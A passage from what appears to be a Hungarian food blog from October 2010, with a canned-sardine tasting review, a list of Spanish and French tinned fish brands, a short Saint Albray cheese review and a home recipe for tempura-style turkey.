Lé: Olivaolaj, sűrű és jó olivás. Picit túl erős oliva íze van.
Só: Inkább alulsózott, mint túl. Kellemes. Tökéletes.
Íz: Finom szardíniaíz, semmi túlzás, nincs erős halíze. Pici citrommal még jobb.
Legnagyobb negatívum: Az olaj túl erős.
Értékelés: 9/10. Ezért megéri utazni.
Tesztelte: A+B, kenyérrel, citrommal, hűtve.
October 23, 2010
Új szardíniaszállítmány érkezett.
Megérkeztek a legfrissebb halkonzervek Párizsból és Barcelonából.
-
-
-
-
-
A lista:
Albo – Sardinas en aceite de oliva
Paco Lafuente – Sardinilla en aceite de oliva (10/12 pezas)
Luis Escuris Batalla / Marca LaBueno / Sardinas en aceite de oliva 16/20
El corte ingles – Melva de Almadraba en aceite de oliva
Portomar sekección – Sardinillas en aceite de oliva (20/25 piezas)
Rianxeria – Sardinas en aceite de oliva
El corte inglés – Sardinas (sardinikkas) en aceite de oliva (25/30 piezas)
Escuris – Sardinillas en aceite de oliva (8-12 piezas)
Pay Pay -. Sardinnas de las Rias Gallegas en aceite de oliva
Cabo de Penas – Sardinillas en aceite de oliva (6/10) Elaborado en las rias gallegas
USISA – Boquerones de la costa en aceite de oliva – Engraulis Engrachisoulus)
USISA – Sardinillas de la costa en aceite de oliva
Cuca – Sardinas al limón (bajo en sal)
El corte inglés – Sardinas en aceite de oliva 3/5 piezas
Paco Lafuente – Navajas al natural (borotva kagyló, razor clam)
Cuca – Sardinillas en aceite de oliva
El corte inglés – Filetes de melva canutera (Trawled skipjack)
Ubago – Filetes de melva canutera en aceite de oliva (Elaboration artesanal)
USISA – Filetes de melva de Andalucía en aceite de oliva (Canutera, Elaborado a mano en Andalucía)
Palacio de Oriente – Sardinillas en aceite de oliva (de las Rias Gallegas)
Ubago – Filetes de melva en aceite de oliva
Cuca – Sardinas picantes
Garavilla – Sardinillas en aceite de oliva (Elaborado con Sardina Fresca)
Albo – Bonito del norte en aceite de oliva virgen extra (Atún Blanco)
El corte inglés – Sardinas en escabeche en aceite de oliva
Albo – Sardinas picantonas
El corte inglés – Filetes de caballas del sur (Southern Mackerel) (3/5 filetes)
Albo – Filetes de caballa, caballa del sur, aceite de oliva
Albo – Sardinas en aceite de oliva virgen extra – Sardinilla 8/12 piezas
Isabel – Sardinas en aceite de oliva
Cuca – Sardinillas en aceite de oliva
Albo – Sardinas en aceite de oliva virgen extra
Ubago – Filetes de caballa del sur
A Chrurrusquina – Agujas en aceite de oliva
Továbbá
Connétable – Filets de thon blanc a l’huile d’olive vierge extra (Ventreches)
Hyacinthe Parmentier – Sardines selection a l’huile d’olive
Saupiquet – Filets de thon au citron
Connétable – Sardines Hulie d’olive vierge extra, et citron, prepares l’ancienne
Saupiquet – Filetes de sardines Sans aretes a l’huile d’olive vierge extra
Pen Duick – Belles de l’atlantique Sardines (Connétable)
Delicieuses – Sardines Hule de colza -Recette Traditionelle – Fabrique en vendée
Connétable – Achois Entriers a l’huile d’olive vierge extra (Whole anchovies)
Connétable – Selection de filets de sardines a l’huile d’olive vierge extra (sans peau, sans aretes)
Futnak még:
nautilus – Chair de crabe
Saupiquet – Thon a la catalane
Saupiquet – Thon sauce mayonnaise
Kommentekben kérhető, hogy melyik kerüljön előre a tesztelésben
October 17, 2010
Classic szardínia – hering trade
October 12, 2010
jó sajt – Saint Albray
Saint Albray
Crémeux et gourmand
Fromagerie A Jurancon
narancssárga rúzsos meg szinezékes tejszínes lágy érett sajt. Nem túl erős a szaga sem az íze, elég kellemes. Ha látom újra, venni fogok.
update 2010.10.29. Kapható nagyobb méretű tömbből vágva a Corvin Plaza CBA boltjában 4500 Ft/kiló körüli áron.
October 5, 2010
Pulykadarabok tempura módra, vagy majdnem úgy
Volt egy adag pulykakocka, úgy 45 deka, ebből kellett alkotni valamit. Főztem rizst és összekevertem konzervkukoricával. Elkészítettem egy tésztát: két tojás sárgáját úgy 2 deci vízzel összekevertem evőpálcikával nagyjából, besóztam és raktam bele először úgy 1,5 evőkanál keményítőt, majd úgy szintén két deci lisztet, nagyjából összekevertem. sárgás massza lett. Egy tányérba lisztet raktam, a pulykát besóztam egy kb. 20 perccel korábban.
Felmelegítettem az olajat, majd a pulykadarabkákat beforgattam a lisztbe, átemeltem a tésztába és a pálcikával bedobtam az olajba. Kisütöttem, kivettem. Ugyanezt folytattam, egész addig, amíg el nem fogyott a hús, a tészta és az erő az ujjaimban, kemény meló a pálcikázás.
Végül vietnámi barátom fokhagymás csilis szójaszószába mártogatva fogyasztottam, de vsz. csemegeuborka is érdekes lenne mellé.
A hús is sózva volt, meg a tészta is. A tésztához a víz jó hideg volt, de nem használtam jeget. Ropogós lett és kiadós. Sok lett a tészta miatt. Nem baj, ha nem mindenhol tésztás a hús, a végeredményen nem változtat semmit.
-
